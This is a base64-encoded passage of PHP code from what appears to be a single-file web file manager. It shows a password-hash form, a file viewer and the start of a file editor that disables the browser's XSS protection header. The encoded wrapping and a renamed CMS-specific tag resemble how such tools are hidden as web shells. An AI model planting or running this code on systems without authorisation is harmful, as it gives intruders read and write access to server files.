ICAgPGRpdiBjbGFzcz0icm93IGpzLW5ldy1wd2QgaGlkZGVuIG10LTIiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC0xMiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGNsYXNzPSJmb3JtLWlubGluZSIgb25zdWJtaXQ9InJldHVybiBuZXdfcGFzc3dvcmRfaGFzaCh0aGlzKSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0eXBlIiB2YWx1ZT0icHdkaGFzaCIgYXJpYS1sYWJlbD0iaGlkZGVuIiBhcmlhLWhpZGRlbj0idHJ1ZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIG1iLTIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9InN0YXRpY0VtYWlsMiI+PD9waHAgZWNobyBsbmcoJ0dlbmVyYXRlIG5ldyBwYXNzd29yZCBoYXNoJykgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIG14LXNtLTMgbWItMiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iaW5wdXRQYXNzd29yZDIiIGNsYXNzPSJzci1vbmx5Ij48P3BocCBlY2hvIGxuZygnUGFzc3dvcmQnKSA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgYnRuLXNtIiBpZD0iaW5wdXRQYXNzd29yZDIiIG5hbWU9ImlucHV0UGFzc3dvcmQyIiBwbGFjZWhvbGRlcj0iPD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz4iIHJlcXVpcmVkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyBidG4tc20gbWItMiI+PD9waHAgZWNobyBsbmcoJ0dlbmVyYXRlJykgPz48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWFwb3BvamljbXMgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iMiIgcmVhZG9ubHkgaWQ9ImpzLXB3ZC1yZXN1bHQiPjwvdGV4dGFyZWFwb3BvamljbXM+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KICAgIDw/cGhwCiAgICBmbV9zaG93X2Zvb3RlcigpOwogICAgZXhpdDsKfQoKLy8gZmlsZSB2aWV3ZXIKaWYgKGlzc2V0KCRfR0VUWyd2aWV3J10pKSB7CiAgICAkZmlsZSA9ICRfR0VUWyd2aWV3J107CiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTsKICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJy8nLCAnJywgJGZpbGUpOwogICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJy8nIC4gJGZpbGUpIHx8ICFmbV9pc19leGNsdWRlX2l0ZW1zKCRmaWxlKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTsKICAgICAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7CiAgICB9CgogICAgZm1fc2hvd19oZWFkZXIoKTsgLy8gSEVBREVSCiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyAvLyBjdXJyZW50IHBhdGgKCiAgICAkZmlsZV91cmwgPSBGTV9ST09UX1VSTCAuIGZtX2NvbnZlcnRfd2luKChGTV9QQVRIICE9ICcnID8gJy8nIC4gRk1fUEFUSCA6ICcnKSAuICcvJyAuICRmaWxlKTsKICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICcvJyAuICRmaWxlOwoKICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlX3BhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTikpOwogICAgJG1pbWVfdHlwZSA9IGZtX2dldF9taW1lX3R5cGUoJGZpbGVfcGF0aCk7CiAgICAkZmlsZXNpemVfcmF3ID0gZm1fZ2V0X3NpemUoJGZpbGVfcGF0aCk7CiAgICAkZmlsZXNpemUgPSBmbV9nZXRfZmlsZXNpemUoJGZpbGVzaXplX3Jhdyk7CgogICAgJGlzX3ppcCA9IGZhbHNlOwogICAgJGlzX2d6aXAgPSBmYWxzZTsKICAgICRpc19pbWFnZSA9IGZhbHNlOwogICAgJGlzX2F1ZGlvID0gZmFsc2U7CiAgICAkaXNfdmlkZW8gPSBmYWxzZTsKICAgICRpc190ZXh0ID0gZmFsc2U7CiAgICAkaXNfb25saW5lVmlld2VyID0gZmFsc2U7CgogICAgJHZpZXdfdGl0bGUgPSAnRmlsZSc7CiAgICAkZmlsZW5hbWVzID0gZmFsc2U7IC8vIGZvciB6aXAKICAgICRjb250ZW50ID0gJyc7IC8vIGZvciB0ZXh0CiAgICAkb25saW5lX3ZpZXdlciA9IHN0cnRvbG93ZXIoRk1fRE9DX1ZJRVdFUik7CgogICAgaWYoJG9ubGluZV92aWV3ZXIgJiYgJG9ubGluZV92aWV3ZXIgIT09ICdmYWxzZScgJiYgaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X29ubGluZVZpZXdlcl9leHRzKCkpKXsKICAgICAgICAkaXNfb25saW5lVmlld2VyID0gdHJ1ZTsKICAgIH0KICAgIGVsc2VpZiAoJGV4dCA9PSAnemlwJyB8fCAkZXh0ID09ICd0YXInKSB7CiAgICAgICAgJGlzX3ppcCA9IHRydWU7CiAgICAgICAgJHZpZXdfdGl0bGUgPSAnQXJjaGl2ZSc7CiAgICAgICAgJGZpbGVuYW1lcyA9IGZtX2dldF96aWZfaW5mbygkZmlsZV9wYXRoLCAkZXh0KTsKICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfaW1hZ2VfZXh0cygpKSkgewogICAgICAgICRpc19pbWFnZSA9IHRydWU7CiAgICAgICAgJHZpZXdfdGl0bGUgPSAnSW1hZ2UnOwogICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF9hdWRpb19leHRzKCkpKSB7CiAgICAgICAgJGlzX2F1ZGlvID0gdHJ1ZTsKICAgICAgICAkdmlld190aXRsZSA9ICdBdWRpbyc7CiAgICB9IGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X3ZpZGVvX2V4dHMoKSkpIHsKICAgICAgICAkaXNfdmlkZW8gPSB0cnVlOwogICAgICAgICR2aWV3X3RpdGxlID0gJ1ZpZGVvJzsKICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHsKICAgICAgICAkaXNfdGV4dCA9IHRydWU7CiAgICAgICAgJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZV9wYXRoKTsKICAgIH0KCiAgICA/PgogICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtMTIiPgogICAgICAgICAgICA8cCBjbGFzcz0iYnJlYWstd29yZCI+PGI+PD9waHAgZWNobyBsbmcoJHZpZXdfdGl0bGUpID8+ICI8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbigkZmlsZSkpID8+IjwvYj48L3A+CiAgICAgICAgICAgIDxwIGNsYXNzPSJicmVhay13b3JkIj4KICAgICAgICAgICAgICAgIDw/cGhwICRkaXNwbGF5X3BhdGggPSBmbV9nZXRfZGlzcGxheV9wYXRoKCRmaWxlX3BhdGgpOyA/PgogICAgICAgICAgICAgICAgPHN0cm9uZz48P3BocCBlY2hvICRkaXNwbGF5X3BhdGhbJ2xhYmVsJ107ID8+Ojwvc3Ryb25nPiA8P3BocCBlY2hvICRkaXNwbGF5X3BhdGhbJ3BhdGgnXTsgPz48YnI+CiAgICAgICAgICAgICAgICA8c3Ryb25nPkZpbGUgc2l6ZTo8L3N0cm9uZz4gPD9waHAgZWNobyAoJGZpbGVzaXplX3JhdyA8PSAxMDAwKSA/ICIkZmlsZXNpemVfcmF3IGJ5dGVzIiA6ICRmaWxlc2l6ZTsgPz48YnI+CiAgICAgICAgICAgICAgICA8c3Ryb25nPk1JTUUtdHlwZTo8L3N0cm9uZz4gPD9waHAgZWNobyAkbWltZV90eXBlID8+PGJyPgogICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgIC8vIFpJUCBpbmZvCiAgICAgICAgICAgICAgICBpZiAoKCRpc196aXAgfHwgJGlzX2d6aXApICYmICRmaWxlbmFtZXMgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgJHRvdGFsX2ZpbGVzID0gMDsKICAgICAgICAgICAgICAgICAgICAkdG90YWxfY29tcCA9IDA7CiAgICAgICAgICAgICAgICAgICAgJHRvdGFsX3VuY29tcCA9IDA7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVuYW1lcyBhcyAkZm4pIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkZm5bJ2ZvbGRlciddKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfZmlsZXMrKzsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfY29tcCArPSAkZm5bJ2NvbXByZXNzZWRfc2l6ZSddOwogICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfdW5jb21wICs9ICRmblsnZmlsZXNpemUnXTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnRmlsZXMgaW4gYXJjaGl2ZScpID8+OiA8P3BocCBlY2hvICR0b3RhbF9maWxlcyA/Pjxicj4KICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnVG90YWwgc2l6ZScpID8+OiA8P3BocCBlY2hvIGZtX2dldF9maWxlc2l6ZSgkdG90YWxfdW5jb21wKSA/Pjxicj4KICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnU2l6ZSBpbiBhcmNoaXZlJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF9jb21wKSA/Pjxicj4KICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnQ29tcHJlc3Npb24nKSA/PjogPD9waHAgZWNobyByb3VuZCgoJHRvdGFsX2NvbXAgLyBtYXgoJHRvdGFsX3VuY29tcCwgMSkpICogMTAwKSA/PiU8YnI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIC8vIEltYWdlIGluZm8KICAgICAgICAgICAgICAgIGlmICgkaXNfaW1hZ2UpIHsKICAgICAgICAgICAgICAgICAgICAkaW1hZ2Vfc2l6ZSA9IGdldGltYWdlc2l6ZSgkZmlsZV9wYXRoKTsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8c3Ryb25nPicubG5nKCdJbWFnZSBzaXplJykuJzo8L3N0cm9uZz4gJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVswXSkgPyAkaW1hZ2Vfc2l6ZVswXSA6ICcwJykgLiAnIHggJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVsxXSkgPyAkaW1hZ2Vfc2l6ZVsxXSA6ICcwJykgLiAnPGJyPic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAvLyBUZXh0IGluZm8KICAgICAgICAgICAgICAgIGlmICgkaXNfdGV4dCkgewogICAgICAgICAgICAgICAgICAgICRpc191dGY4ID0gZm1faXNfdXRmOCgkY29udGVudCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnaWNvbnYnKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRpc191dGY4KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04Ly9JR05PUkUnLCAkY29udGVudCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPHN0cm9uZz4nLmxuZygnQ2hhcnNldCcpLic6PC9zdHJvbmc+ICcgLiAoJGlzX3V0ZjggPyAndXRmLTgnIDogJzggYml0JykgLiAnPGJyPic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICA8L3A+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImQtZmxleCBhbGlnbi1pdGVtcy1jZW50ZXIgbWItMyI+CiAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGNsYXNzPSJkLWlubGluZSBtcy0yIiBhY3Rpb249Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmRsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4iPgogICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1saW5rIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wIj48aSBjbGFzcz0iZmEgZmEtY2xvdWQtZG93bmxvYWQiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0Rvd25sb2FkJykgPz48L2J1dHRvbj4gwqAKICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgIDxiIGNsYXNzPSJtcy0yIj48YSBocmVmPSI8P3BocCBlY2hvIGZtX2VuYygkZmlsZV91cmwpID8+IiB0YXJnZXQ9Il9ibGFuayI+PGkgY2xhc3M9ImZhIGZhLWV4dGVybmFsLWxpbmstc3F1YXJlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdPcGVuJykgPz48L2E+PC9iPgogICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgIC8vIFpJUCBhY3Rpb25zCiAgICAgICAgICAgICAgICBpZiAoIUZNX1JFQURPTkxZICYmICgkaXNfemlwIHx8ICRpc19nemlwKSAmJiAkZmlsZW5hbWVzICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICR6aXBfbmFtZSA9IHBhdGhpbmZvKCRmaWxlX3BhdGgsIFBBVEhJTkZPX0ZJTEVOQU1FKTsKICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9ImQtaW5saW5lIG1zLTIiPgogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVuemlwIiB2YWx1ZT0iPD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1saW5rIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wIiBzdHlsZT0iZm9udC1zaXplOiAxNHB4OyI+PGkgY2xhc3M9ImZhIGZhLWNoZWNrLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnVW5aaXAnKSA/PjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgIDwvZm9ybT7CoAogICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9ImQtaW5saW5lIG1zLTIiPgogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVuemlwIiB2YWx1ZT0iPD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRvZm9sZGVyIiB2YWx1ZT0iMSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1saW5rIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wIiBzdHlsZT0iZm9udC1zaXplOiAxNHB4OyIgdGl0bGU9IlVuWmlwIHRvIDw/cGhwIGVjaG8gZm1fZW5jKCR6aXBfbmFtZSkgPz4iPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1VuWmlwVG9Gb2xkZXInKSA/PjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgIDwvZm9ybT7CoAogICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJGlzX3RleHQgJiYgIUZNX1JFQURPTkxZKSB7CiAgICAgICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgICAgICA8YiBjbGFzcz0ibXMtMiI+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIKSkgPz4mZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4iIGNsYXNzPSJlZGl0LWZpbGUiPjxpIGNsYXNzPSJmYSBmYS1wZW5jaWwtc3F1YXJlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdFZGl0JykgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPjwvYj4gwqAKICAgICAgICAgICAgICAgICAgICA8YiBjbGFzcz0ibXMtMiI+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIKSkgPz4mZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mZW52PWFjZSIKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJlZGl0LWZpbGUiPjxpIGNsYXNzPSJmYSBmYS1wZW5jaWwtc3F1YXJlLW8iPjwvaT4gPD9waHAgZWNobyBsbmcoJ0FkdmFuY2VkRWRpdG9yJykgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPjwvYj4gwqAKICAgICAgICAgICAgICAgIDw/cGhwIH0gPz4KICAgICAgICAgICAgICAgIDxiIGNsYXNzPSJtcy0yIj48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiI+PGkgY2xhc3M9ImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnQgZ28tYmFjayI+PC9pPiA8P3BocCBlY2hvIGxuZygnQmFjaycpID8+PC9hPjwvYj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgIGlmKCRpc19vbmxpbmVWaWV3ZXIpIHsKICAgICAgICAgICAgICAgIGlmKCRvbmxpbmVfdmlld2VyID09ICdnb29nbGUnKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlmcmFtZSBzcmM9Imh0dHBzOi8vZG9jcy5nb29nbGUuY29tL3ZpZXdlcj9lbWJlZGRlZD10cnVlJmhsPWVuJnVybD0nIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnIiBmcmFtZWJvcmRlcj0ibm8iIHN0eWxlPSJ3aWR0aDoxMDAlO21pbi1oZWlnaHQ6NDYwcHgiPjwvaWZyYW1lPic7CiAgICAgICAgICAgICAgICB9IGVsc2UgaWYoJG9ubGluZV92aWV3ZXIgPT0gJ21pY3Jvc29mdCcpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8aWZyYW1lIHNyYz0iaHR0cHM6Ly92aWV3Lm9mZmljZWFwcHMubGl2ZS5jb20vb3AvZW1iZWQuYXNweD9zcmM9JyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJyIgZnJhbWVib3JkZXI9Im5vIiBzdHlsZT0id2lkdGg6MTAwJTttaW4taGVpZ2h0OjQ2MHB4Ij48L2lmcmFtZT4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoJGlzX3ppcCkgewogICAgICAgICAgICAgICAgLy8gWklQIGNvbnRlbnQKICAgICAgICAgICAgICAgIGlmICgkZmlsZW5hbWVzICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxjb2RlIGNsYXNzPSJtYXhoZWlnaHQiPic7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVuYW1lcyBhcyAkZm4pIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmblsnZm9sZGVyJ10pIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicgLiBmbV9lbmMoJGZuWyduYW1lJ10pIC4gJzwvYj48YnI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGZuWyduYW1lJ10gLiAnICgnIC4gZm1fZ2V0X2ZpbGVzaXplKCRmblsnZmlsZXNpemUnXSkgLiAnKTxicj4nOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvY29kZT4nOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8cD4nLmxuZygnRXJyb3Igd2hpbGUgZmV0Y2hpbmcgYXJjaGl2ZSBpbmZvJykuJzwvcD4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2ltYWdlKSB7CiAgICAgICAgICAgICAgICAvLyBJbWFnZSBjb250ZW50CiAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoJGV4dCwgYXJyYXkoJ2dpZicsICdqcGcnLCAnanBlZycsICdwbmcnLCAnYm1wJywgJ2ljbycsICdzdmcnLCAnd2VicCcsICdhdmlmJykpKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPHA+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBpZD0icHJldmlldy1pbWctem9vbUNoZWNrIj48bGFiZWwgZm9yPSJwcmV2aWV3LWltZy16b29tQ2hlY2siPjxpbWcgc3JjPSInIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnIiBhbHQ9ImltYWdlIiBjbGFzcz0icHJldmlldy1pbWciPjwvbGFiZWw+PC9wPic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmICgkaXNfYXVkaW8pIHsKICAgICAgICAgICAgICAgIC8vIEF1ZGlvIGNvbnRlbnQKICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxhdWRpbyBzcmM9IicgLiBmbV9lbmMoJGZpbGVfdXJsKSAuICciIGNvbnRyb2xzIHByZWxvYWQ9Im1ldGFkYXRhIj48L2F1ZGlvPjwvcD4nOwogICAgICAgICAgICB9IGVsc2VpZiAoJGlzX3ZpZGVvKSB7CiAgICAgICAgICAgICAgICAvLyBWaWRlbyBjb250ZW50CiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJwcmV2aWV3LXZpZGVvIj48dmlkZW8gc3JjPSInIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnIiB3aWR0aD0iNjQwIiBoZWlnaHQ9IjM2MCIgY29udHJvbHMgcHJlbG9hZD0ibWV0YWRhdGEiPjwvdmlkZW8+PC9kaXY+JzsKICAgICAgICAgICAgfSBlbHNlaWYgKCRpc190ZXh0KSB7CiAgICAgICAgICAgICAgICBpZiAoRk1fVVNFX0hJR0hMSUdIVEpTKSB7CiAgICAgICAgICAgICAgICAgICAgLy8gaGlnaGxpZ2h0CiAgICAgICAgICAgICAgICAgICAgJGhsanNfY2xhc3NlcyA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgICAgICAnc2h0bWwnID0+ICd4bWwnLAogICAgICAgICAgICAgICAgICAgICAgICAnaHRhY2Nlc3MnID0+ICdhcGFjaGUnLAogICAgICAgICAgICAgICAgICAgICAgICAncGh0bWwnID0+ICdwaHAnLAogICAgICAgICAgICAgICAgICAgICAgICAnbG9jaycgPT4gJ2pzb24nLAogICAgICAgICAgICAgICAgICAgICAgICAnc3ZnJyA9PiAneG1sJywKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzID0gaXNzZXQoJGhsanNfY2xhc3Nlc1skZXh0XSkgPyAnbGFuZy0nIC4gJGhsanNfY2xhc3Nlc1skZXh0XSA6ICdsYW5nLScgLiAkZXh0OwogICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkZXh0KSB8fCBpbl9hcnJheShzdHJ0b2xvd2VyKCRmaWxlKSwgZm1fZ2V0X3RleHRfbmFtZXMoKSkgfHwgcHJlZ19tYXRjaCgnI1wubWluXC4oY3NzfGpzKSQjaScsICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkaGxqc19jbGFzcyA9ICdub2hpZ2hsaWdodCc7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gJzxwcmUgY2xhc3M9IndpdGgtaGxqcyI+PGNvZGUgY2xhc3M9IicgLiAkaGxqc19jbGFzcyAuICciPicgLiBmbV9lbmMoJGNvbnRlbnQpIC4gJzwvY29kZT48L3ByZT4nOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGFycmF5KCdwaHAnLCAncGhwNCcsICdwaHA1JywgJ3BodG1sJywgJ3BocHMnKSkpIHsKICAgICAgICAgICAgICAgICAgICAvLyBwaHAgaGlnaGxpZ2h0CiAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnQgPSBoaWdobGlnaHRfc3RyaW5nKCRjb250ZW50LCB0cnVlKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnQgPSAnPHByZT4nIC4gZm1fZW5jKCRjb250ZW50KSAuICc8L3ByZT4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAkY29udGVudDsKICAgICAgICAgICAgfQogICAgICAgICAgICA/PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICA8P3BocAogICAgICAgIGZtX3Nob3dfZm9vdGVyKCk7CiAgICBleGl0Owp9CgovLyBmaWxlIGVkaXRvcgppZiAoaXNzZXQoJF9HRVRbJ2VkaXQnXSkgJiYgIUZNX1JFQURPTkxZKSB7CiAgICAkZmlsZSA9ICRfR0VUWydlZGl0J107CiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTsKICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJy8nLCAnJywgJGZpbGUpOwogICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJy8nIC4gJGZpbGUpIHx8ICFmbV9pc19leGNsdWRlX2l0ZW1zKCRmaWxlKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTsKICAgICAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7CiAgICB9CiAgICAkZWRpdEZpbGUgPSAnIDogPGk+PGI+Jy4gJGZpbGUuICc8L2I+PC9pPic7CiAgICBoZWFkZXIoJ1gtWFNTLVByb3RlY3Rpb246MCcpOwogICAgZm1fc2hvd19oZWFkZXIoKTsgLy8gSEVBREVSCiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO